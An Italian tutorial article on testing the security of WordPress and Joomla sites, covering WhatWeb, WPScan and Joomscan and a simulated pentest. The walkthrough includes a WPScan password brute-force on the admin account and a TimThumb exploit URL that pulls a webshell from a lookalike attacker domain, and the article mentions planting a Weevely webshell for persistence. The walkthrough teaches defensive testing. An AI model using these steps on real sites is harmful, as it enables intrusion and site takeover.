I CMS sono dei sistemi per la gestione semplificata dei contenuti, in genere sono progettati per uno scopo ben preciso come la gestione di blog, forum, portali di e-commerce, e-learning, ecc. Tecnicamente sono applicazioni lato server che prevedono una sezione di amministrazione (back end) ed una parte applicativa (front end), rivolta all'utente finale. Il più delle volte necessitano di un database per l'archiviazione dei dati.
Un CMS vulnerabile può portare un attaccante a prendere il pieno controllo del sito, dandogli la possibilità di modificare i contenuti, creare e rimuovere utenti e nel caso peggiore ottenere il controllo del server su cui è installata la web-application. Negli ultimi anni sono sempre di più le aziende ed enti istituzionali ad adottare questa tecnologia, la scelta è quasi sempre dettata dalla complessita del progetto da gestire.
Ma quali sono i vantaggi e che livello di sicurezza garantiscono gli attuali CMS? In questo articolo affronteremo queste tematiche servendoci di metodologie e strumenti automatici di verifica delle vulnerabilità.
Metodologia di analisi delle vulnerabilità
Prima di parlare di test di sicurezza lato web è importante introdurre cosa sia l'OWASP. L'Open Web Application Security Project è un progetto open-source con lo scopo di promuovere la coscienza e la cultura della sicurezza informatica degli applicativi web. L'organizzazione ha lanciato un progetto denominato "Testing Guide" con lo scopo di creare delle "best practices" per lo svolgimento di test di sicurezza, una sorta di guida di riferimento per chi effettua analisi di sicurezza a livello applicativo (Web Application Penetration Testing). Per maggiori dettagli vi rimando alla documentazione ufficiale raggiungibile al seguente link.
In sostanza la metodologia adottata ha l'obiettivo di fornire una conoscenza dettagliata sullo stato di sicurezza del sistema preso in esame, i vari step possono essere riassunti come segue:
- Information Gathering
- Vulnerability Assessment
- Exploitation
- Privilege Escalation
- Maintaining Access
- Documentation & Reporting
Ogni fase ha il suo obiettivo. L'Information Gathering o raccolta delle informazioni permette all'attaccante di acquisire dati utili, nel caso di una web application le informazioni sensibili sono la piattaforma utilizzata (WordPress, Joomla, Drupal, ecc.), il numero di versione e quali plugin sono installati. Un software che effettua questa tipologia di analisi è WhatWeb, un utile programma open-source che tratteremo in questo articolo.
L'attività di Vulnerability Assessment (VA) permette di avere un quadro completo dello stato di esposizione dei propri sistemi a tutte le vulnerabilità note. A tale scopo vengono utilizzati tools automatici (Joomscan, WPScan, ecc.) che grazie alla loro velocità di scansione permettono di verificare se la versione installata è potenzialmente vulnerabile.
La fase di Exploit si configura come un vero e proprio attacco, si sfrutta una particolare vulnerabilità che può portare ad acquisire privilegi di amministrazione sul sistema bersaglio. Gli exploit possono essere classificati a seconda del tipo di vulnerabilità che sfruttano.
Violato il sistema è comodo mantenere l'accesso (Maintaining Access) in modo da poter operare in un secondo momento senza ripetere l'intero hack. A tale scopo è solito installare una una web-shell (Weevely) che ci permetterà di avere un controllo immediato del sistema.
L'attività si conclude con la pulizia delle tracce e con la stesura di un report dettagliato sulle vulnerabilità riscontrate, l'analisi dell'impatto di rischio ed eventualmente una possibile soluzione tecnica al problema.
Analisi automatica
Un progetto può essere considerato piu o meno sicuro in base alla sua complessità, più sono le variabili in gioco maggiore è il rischio. Un CMS che fa uso di diversi moduli aggiuntivi è sicuramente più esposto a bachi rispetto ad un CMS base. Inoltre più il sistema è popolare maggiore sarà l'interesse da parte di crackers nel ricercare vulnerabilità.
Introdurremo alcuni strumenti di natura open-source per la verifica delle vulnerabilità dei CMS WordPress e Joomla. L'analisi si concentrerà su queste due piattaforme per una questione puramente pratica. Come gia accennato questi strumenti semplificano l'intera attività di ricerca, il vantaggio è nell'eseguire una grande quantita di test in poco tempo e il tutto in maniera automatica.
Wappalyzer
Wappalyzer è una estensione per il browser che svela le tecnologie utilizzate nei siti web. Rileva, durante una normale navigazione, CMS, web shops, web servers, framework JavaScript, strumenti di analisi e molto altro ancora. Questo addon è davvero molto utile per una prima analisi ma non effettua una scansione approfondita.
WhatWeb
WhatWeb è un programma scritto in Ruby per il riconoscimento delle tecnologie web. Conta oltre 900 plugins ed ognuno di essi ha una specifica funzione. Riesce ad identificare diversi CMS, piattaforme di blog, strumenti per statistiche, librerie JavaScript, web servers, ecc. WhatWeb è utile anche per ricavare indirizzi email, errori SQL e molto altro ancora.
Cerchiamo di capire con un semplice esempio come funziona questo programma. Molti siti web basati su CMS possono essere identificati da meta tag HTML, è facile dunque intuire come tramite un semplice confronto tra stringhe sia possibile ottenere informazioni sulla tecnologia utilizzata. Per quanto riguarda WordPress i plugin presenti effettuano oltre 15 test per identificare con precisione la versione installata, tra i vari controlli effettua una verifica sulla presenza della favicon, di file di installazione, pagine di login o piu semplicemente scansiona il path "/wp-content/" con relativi link.
Joomscan
Joomla è sicuramente uno dei piu diffusi CMS attualmente in circolazione questo grazie alla sua flessibilità e facilità d'uso. Il progetto è in continuo sviluppo, ogni giorno vengono rilasciati nuovi moduli aggiuntivi che estendono le funzionalità di base del CMS.
Per effettuare un'analisi di sicurezza su siti web basati su questa piattaforma è consigliato utilizzare Joomscan un tool scritto in Perl e sviluppato in seno al progetto OWASP. Joomscan effettua diverse tipologie di test, verifica la presenza di file inclusion, sql injection, command execution, XSS, DOS, directory traversal vulnerabilities, ecc.
Vediamo ora quali sono i vantaggi rispetto ad un Vulnerability Scanner generico:
- Velocità di scansione, le richieste sono mirate.
- Precisione nel rilevare la versione dell'applicazione, uno scanner generico non è altrettanto preciso avendo un range di azione più ampio.
- Verifica di tutte le possibili vulnerabilità note, fa uso di un database interno periodicamente aggiornato.
Wpscan
WPScan è un vulnerability scanner scritto in Ruby per la verifica di sicurezza di installazioni WordPress. Vediamo in dettaglio le principali caratteristiche di questo programma:
- Username enumeration
- Weak password cracking (multithreaded)
- Version enumeration (from generator meta tag and from client side files)
- Vulnerability enumeration (based on version)
- Timbthumb file enumeration
- Plugin enumeration (2220 most popular by default)
- Plugin vulnerability enumeration (based on plugin name)
- Plugin enumeration list generation
- Other misc WordPress checks (theme name, dir listing, etc.)
Exploiting
Vedremo ora come condurre un Penetration Test, simulando un caso reale. L'approccio sarà di tipo "Black Box", tutte le informazioni dovranno dunque essere ricavate.
L'analisi verrà svolta utilizzando BackBox Linux, una distribuzione orientata al penetration testing. Il vantaggio derivante dall'uso di uno strumento simile è nell'avere un sistema operativo flessibile ed ottimizzato per condurre vari test di sicurezza. Al suo interno troverete già pronti all'uso tutti i tools citati in questo articolo.
Il nostro primo obiettivo è ricavare quante più informazioni possibili sul sito target "http://www.target.tld". Wappalyzer, l'addon di Firefox, ci segnalerà il tipo di CMS utilizzato, nel nostro caso WordPress.
Tramite Whatweb cercheremo di ottenere informazioni più dettagliate sulle tecnologie utilizzate.
user@backbox:~$ whatweb -v http://www.target.tld
http://www.target.tld/ [200]
http://www.target.tld/ [200] WebDAV[2], Apache[2.2.21][mod_apreq2-20090110/2.7.1,mod_perl/2.0.5,mod_ssl/2.2.21], HTTPServer[Unix][Apache/2.2.21 (Unix) DAV/2 mod_ssl/2.2.21 OpenSSL/1.0.0c PHP/5.3.8 mod_apreq2-20090110/2.7.1 mod_perl/2.0.5 Perl/v5.10.1], UncommonHeaders[x-pingback], PoweredBy[WordPress,], OpenSSL[1.0.0c], Country[RESERVED][ZZ], PHP[5.3.8], Perl[5.10.1], WordPress[3.4], IP[192.168.0.11], Cookies[PHPSESSID], x-pingback[,http://www.target.tld/xmlrpc.php], X-Powered-By[PHP/5.3.8], MetaGenerator[WordPress 3.4], Title[ target], JQuery[1.7.2]
URL : http://www.target.tld/
Status : 200
Apache ---------------------------------------------------------------------
Description: The Apache HTTP Server Project is an effort to develop and
maintain an open-source HTTP server for modern operating
systems including UNIX and Windows NT. The goal of this
project is to provide a secure, efficient and extensible
server that provides HTTP services in sync with the current
HTTP standards. - homepage: http://httpd.apache.org/
Version : 2.2.21
Module : mod_apreq2-20090110/2.7.1,mod_perl/2.0.5,mod_ssl/2.2.21
Cookies --------------------------------------------------------------------
Description: Display the names of cookies in the HTTP headers. The
values are not returned to save on space.
String : PHPSESSID
Country --------------------------------------------------------------------
Description: GeoIP IP2Country lookup. To refresh DB, replace
IpToCountry.csv and remove country-ips.dat. GeoIP database
from http://software77.net/geo-ip/. Local IPv4 addresses
are represented as ZZ according to an ISO convention.
Lookup code developed by Matthias Wachter for rubyquiz.com
and used with permission.
Module : ZZ
String : RESERVED
HTTPServer -----------------------------------------------------------------
Description: HTTP server header string
Os : Unix
String : Apache/2.2.21 (Unix) DAV/2 mod_ssl/2.2.21 OpenSSL/1.0.0c PHP/5.3.8 mod_apreq2-20090110/2.7.1 mod_perl/2.0.5 Perl/v5.10.1 (from server string)
IP -------------------------------------------------------------------------
Description: IP address of the target, if available.
String : 192.168.0.11
JQuery ---------------------------------------------------------------------
Description: Javascript library
Version : 1.7.2
MetaGenerator --------------------------------------------------------------
Description: This plugin identifies meta generator tags and extracts its
value.
String : WordPress 3.4
OpenSSL --------------------------------------------------------------------
Description: The OpenSSL Project is a collaborative effort to develop a
robust, commercial-grade, full-featured, and Open Source
toolkit implementing the Secure Sockets Layer (SSL v2/v3)
and Transport Layer Security (TLS v1) protocols as well as
a full-strength general purpose cryptography library. -
homepage: http://www.openssl.org/
Version : 1.0.0c
PHP ------------------------------------------------------------------------
Description: PHP is a widely-used general-purpose scripting language
that is especially suited for Web development and can be
embedded into HTML. - homepage: http://www.php.net/
Version : 5.3.8
Version : 5.3.8
Perl -----------------------------------------------------------------------
Description: Perl is a highly capable, feature-rich programming language
with over 22 years of development. - homepage:
http://www.perl.org/
Version : 5.10.1
PoweredBy ------------------------------------------------------------------
Description: This plugin identifies instances of 'Powered by x' text and
attempts to extract the value for x.
String : WordPress,
Title ----------------------------------------------------------------------
Description: The HTML page title
String : target (from page title)
UncommonHeaders ------------------------------------------------------------
Description: Uncommon HTTP server headers. The blacklist includes all
the standard headers and many non standard but common ones.
Interesting but fairly common headers should have their own
plugins, eg. x-powered-by, server and x-aspnet-version.
Info about headers can be found at www.http-stats.com
String : x-pingback (from headers)
WebDAV ---------------------------------------------------------------------
Description: Web-based Distributed Authoring and Versioning (WebDAV) is
a set of methods based on the Hypertext Transfer Protocol
(HTTP) that facilitates collaboration between users in
editing and managing documents and files stored on World
Wide Web servers. - More Info:
http://en.wikipedia.org/wiki/WebDAV
Version : 2
WordPress ------------------------------------------------------------------
Description: WordPress is an opensource blogging system commonly used as
a CMS. Homepage: http://www.wordpress.org/
Version : 3.4
X-Powered-By ---------------------------------------------------------------
Description: X-Powered-By HTTP header
String : PHP/5.3.8 (from x-powered-by string)
x-pingback -----------------------------------------------------------------
Description: A pingback is one of three types of linkbacks, methods for
Web authors to request notification when somebody links to
one of their documents. This enables authors to keep track
of who is linking to, or referring to their articles. Some
weblog software, such as Movable Type, Serendipity,
WordPress and Telligent Community, support automatic
pingbacks
String : ,http://www.target.tld/xmlrpc.php
Dal report generato abbiamo conferma che siamo in presenza di una installazione WordPress probabilmente la versione 3.4. Il passo successivo è utilizzare WPScan per ottenere una lista dettagliata delle possibili vulnerabilità.
user@backbox:~$ wpscan -e --url http://www.target.tld
____________________________________________________
__ _______ _____
/ / __ / ____|
/ / /| |__) | (___ ___ __ _ _ __
/ / / | ___/ ___ / __|/ _' | '_
/ / | | ____) | (__| (_| | | | |
/ / |_| |_____/ ___|__,_|_| |_| v1.1
WordPress Security Scanner by the WPScan Team
Sponsored by the RandomStorm Open Source Initiative
_____________________________________________________
| URL: http://www.target.tld/
[!] The WordPress theme in use is Karma v1.0.0
[!] The WordPress 'http://www.target.tld/readme.html' file exists
[!] Full Path Disclosure (FPD) in 'http://www.target.tld/wp-includes/rss-functions.php'
[!] WordPress version 3.4 identified from meta generator
[+] Enumerating plugins from passive detection ... No plugins found :(
[+] Enumerating installed plugins ...
Checking for 2850 total plugins... 100% complete.
[+] We found 2 plugins:
| Name: broken-link-checker
| Location: http://www.target.tld/wp-content/plugins/broken-link-checker/
| Directory listing enabled? Yes.
| Name: foxypress
| Location: http://www.target.tld/wp-content/plugins/foxypress/
| Directory listing enabled? Yes.
|
| [!] Foxypress 0.4.1.1 - 0.4.2.1 Arbitrary File Upload
| * Reference: http://www.exploit-db.com/exploits/18991/, http://www.exploit-db.com/exploits/19100/
[+] Enumerating timthumb files ...
Checking for 460 total timthumb files... 100% complete.
[+] We found 1 timthumb file/s :
| [!] http://www.target.tld/wp-content/themes/Karma/timthumb.php
* Reference: http://www.exploit-db.com/exploits/17602/
[+] Enumerating usernames ...
We found the following 1 username/s :
admin
Il report generato ci da conferma della versione di WordPress utilizzata (la 3.4) e ci fornisce un elenco di plugin potenzialmente vulnerabili. Da questo momento in poi le strade da seguire sono due, la prima è utilizzare WPScan per effettuare un bruteforce e cercare di ottenere username e password dell'utente admin, la seconda è cercare di sfruttare un exploit tra quelli segnalati dal programma. Vediamo come utilizzare WPScan per effettuare un bruteforce:
user@backbox:~$ wpscan --url http://www.target.tld/ -U admin --wordlist password.txt
____________________________________________________
__ _______ _____
/ / __ / ____|
/ / /| |__) | (___ ___ __ _ _ __
/ / / | ___/ ___ / __|/ _' | '_
/ / | | ____) | (__| (_| | | | |
/ / |_| |_____/ ___|__,_|_| |_| v1.1
WordPress Security Scanner by the WPScan Team
Sponsored by the RandomStorm Open Source Initiative
_____________________________________________________
| URL: http://www.target.tld/
[!] The WordPress theme in use is Karma v1.0.0
[!] The WordPress 'http://www.target.tld/readme.html' file exists
[!] Full Path Disclosure (FPD) in 'http://www.target.tld/wp-includes/rss-functions.php'
[!] WordPress version 3.4 identified from meta generator
[+] Enumerating plugins from passive detection ... No plugins found :(
[+] Starting the password brute forcer
Brute forcing user 'admin' with 500 passwords... 10% complete.
[SUCCESS] Username : admin Password : cat
Craccare la password facendo uso di dizionari è questione di fortuna, ovviamente una password "forte" scongiura questa tipologia di attacco.
Vediamo ora come sfruttare una possibile vulnerabitiltà segnalata da WPScan. Il programma rileva la presenza dell'exploit relativo a TimThumb, l'utility di ridimensionamento delle immagini inclusa in molti template di WordPress.
Il file (timthumb.php) dovrebbe permettere di scaricare immagini solo da una lista limitata di siti web remoti:
$allowedSites = array (
'flickr.com',
'picasa.com',
'blogger.com',
'wordpress.com',
'img.youtube.com',
'upload.wikimedia.org',
'photobucket.com',
);
ma a causa di un controllo errato su tali URL è possibile caricare files da qualsiasi sito.
Ma cosa accade quando il sistema carica l'immagine e la ridimensiona? TimThumb scrive i files in una directory accessibile da chiunque, è possibile dunque richiamarli tramite browser. Sfruttare tale vulnerabilità è relativamente semplice. Collochiamo la nostra webshell in una directory ad hoc del nostro sito, ad esempio "http://blogger.com.backbox.org" dove "backbox.org" è il nostro dominio e "blogger.com" il sottodominio. Lo script leggerà la stringa "blogger.com" nell'url e la interpreterà come un dominio autorizzato.
Basterà puntare il browser all'indirizzo:
http://www.target.tld/wp-content/themes/THEME/timthumb.php?src=http://blogger.com.evildomain.tld/pocfile.php
per avere in output:
no mime type specified in image
Query String : src=http://blogger.com.evildomain.tld/pocfile.php
TimThumb version : 1.31
A questo punto sarà sufficiente richiamare la pagina:
http://www.target.tld/wp-content/themes/THEME/cache/external_md5($src);
per avere accesso alla webshell appena caricata.
Conclusioni
L'utilizzo di CMS open-source è certamente una delle migliori soluzioni per la gestione di contenuti web. Il supporto di una community attiva garantisce codice sempre aggiornato e ricco di nuove features. Anche in caso di nuove vulnerabilità una soluzione open-source assicura patches in tempi brevi inoltre il codice è liberamente accessibile e quindi scongiura il pericolo privacy o backdoor preinstallate.
Bisogna però prestare attenzione ad alcuni fattori:
- Mai trascurare gli aggiornamenti! Un CMS anche base non è immune da vulnerabilità, è necessario seguire il progetto ed informarsi sulla presenza di nuove release;
- Utilizzare solo addons certificati. I pericoli maggiori per chi usa un CMS sono nell'utilizzare addons di terze parti con qualità del codice molto bassa;
- Prestare attenzione quando si assegnano i permessi ai vari utenti. Quasi tutti i CMS hanno una struttura multi-utente, assegnare i giusti permessi significa permettere o inibire l'accesso a sezione o contenuti riservati;
- Prestare attenzione se si utilizza un servizio di hosting condiviso. Anche se questo fattore non è strettamente legato al CMS ricordarsi che alcuni file di configurazione contengono informazioni sensibili come username e password. Sbagliare a impostare i permessi di accesso a questi file permetterebbe ad un altro utente di ottenere facilmente queste informazioni.